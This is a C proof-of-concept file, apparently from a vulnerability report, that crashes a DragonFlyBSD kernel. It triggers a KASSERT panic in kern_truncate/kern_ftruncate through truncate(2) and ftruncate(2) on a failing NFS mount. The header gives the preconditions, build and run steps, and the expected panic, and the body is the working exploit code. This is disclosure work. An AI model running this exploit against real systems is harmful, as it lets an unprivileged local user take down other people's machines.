DF-0001 / trunc_panic.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | /* * DF-0001 PoC - kern_truncate()/kern_ftruncate() KASSERT panic. * * Triggers a reachable KASSERT (CWE-617) in sys/kern/vfs_syscalls.c when * VFS quota accounting is enabled (vfs.quota_enabled=1) AND the kernel was * built with 'options INVARIANTS'. On a VFS where VOP_GETATTR can fail after * the lookup/lock (NFS soft-mount RPC failure -> EIO, ESTALE on a stale * filehandle, or a forced-reclaim vnode), the unconditional * * KASSERT(error == 0, ("kern_truncate(): VOP_GETATTR didn't return 0")); * * at sys/kern/vfs_syscalls.c:4038 (and the ftruncate twin at :4113) fires * and panics the kernel. Reachable from any local user with write permission * to the target file via truncate(2)/ftruncate(2) -- no privilege required. * * This variant prints the errno from each call so the harness can tell a * clean error return (GETATTR returned 0, KASSERT passed; SETATTR failed) * from an actual panic (GETATTR returned nonzero, KASSERT fired, ssh dies). * * Build (on a DragonFlyBSD host): * cc -o trunc_panic trunc_panic.c * * Preconditions: * - Kernel built with 'options INVARIANTS' (verified: X86_64_GENERIC has it). * - vfs.quota_enabled=1 (loader tunable; CTLFLAG_RD so requires reboot). * - Target file on a mount whose VOP_GETATTR returns a nonzero error * transiently. Realistic case: NFS soft mount whose RPC times out (e.g. * port 2049 silently dropped so the soft mount returns EIO rather than * ECONNREFUSED-which-the-client-retries), or an NFS server returning * NFSERR_STALE for GETATTR. On local UFS/HAMMER GETATTR effectively never * fails, so this is not reproducible there. * * Run: * ./trunc_panic /mnt/nfs_target * * Expected (success == bug present): * Console: panic: kern_truncate(): VOP_GETATTR didn't return 0 * System halts / dumps; ssh dies. * On a non-INVARIANTS kernel the KASSERT compiles away and truncate(2) just * returns the GETATTR error (no memory-safety impact) -- hence Low severity. */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <err.h> int main(int argc, char **argv) { const char *path; int fd; char buf[1024]; path = argc > 1 ? argv[1] : "./target"; /* Stage 1: create/populate the file (needs a live server at this point). */ fd = open(path, O_RDWR | O_CREAT, 0644); if (fd < 0) err(1, "open %s", path); memset(buf, 'A', sizeof(buf)); if (write(fd, buf, sizeof(buf)) != (ssize_t)sizeof(buf)) warn("write (populate)"); if (fsync(fd) < 0) warn("fsync"); close(fd); printf("populated %s; errno-after-populate=%d (%s)\n", path, errno, strerror(errno)); fflush(stdout); /* * <<<< HARNESS KILLS THE NFS SERVER / FIREWALLS PORT 2049 HERE >>>> * The attribute cache is disabled (acregmax=0), so the next GETATTR * issues a fresh RPC that will fail. */ printf("pausing 3s for server-down to settle; then truncate...\n"); fflush(stdout); sleep(3); /* Stage 2: truncate(path) -> kern_truncate -> VOP_GETATTR (fails) -> KASSERT */ errno = 0; if (truncate(path, 0) < 0) warn("truncate returned error (GETATTR=0 path; SETATTR failed)"); else printf("truncate returned 0 (ok)\n"); fflush(stdout); /* Stage 3: ftruncate(fd) -> kern_ftruncate -> VOP_GETATTR_FP -> KASSERT */ fd = open(path, O_RDWR); if (fd < 0) warn("open for ftruncate"); else { errno = 0; if (ftruncate(fd, 0) < 0) warn("ftruncate returned error (GETATTR=0 path; SETATTR failed)"); else printf("ftruncate returned 0 (ok)\n"); close(fd); } fflush(stdout); return 0; } |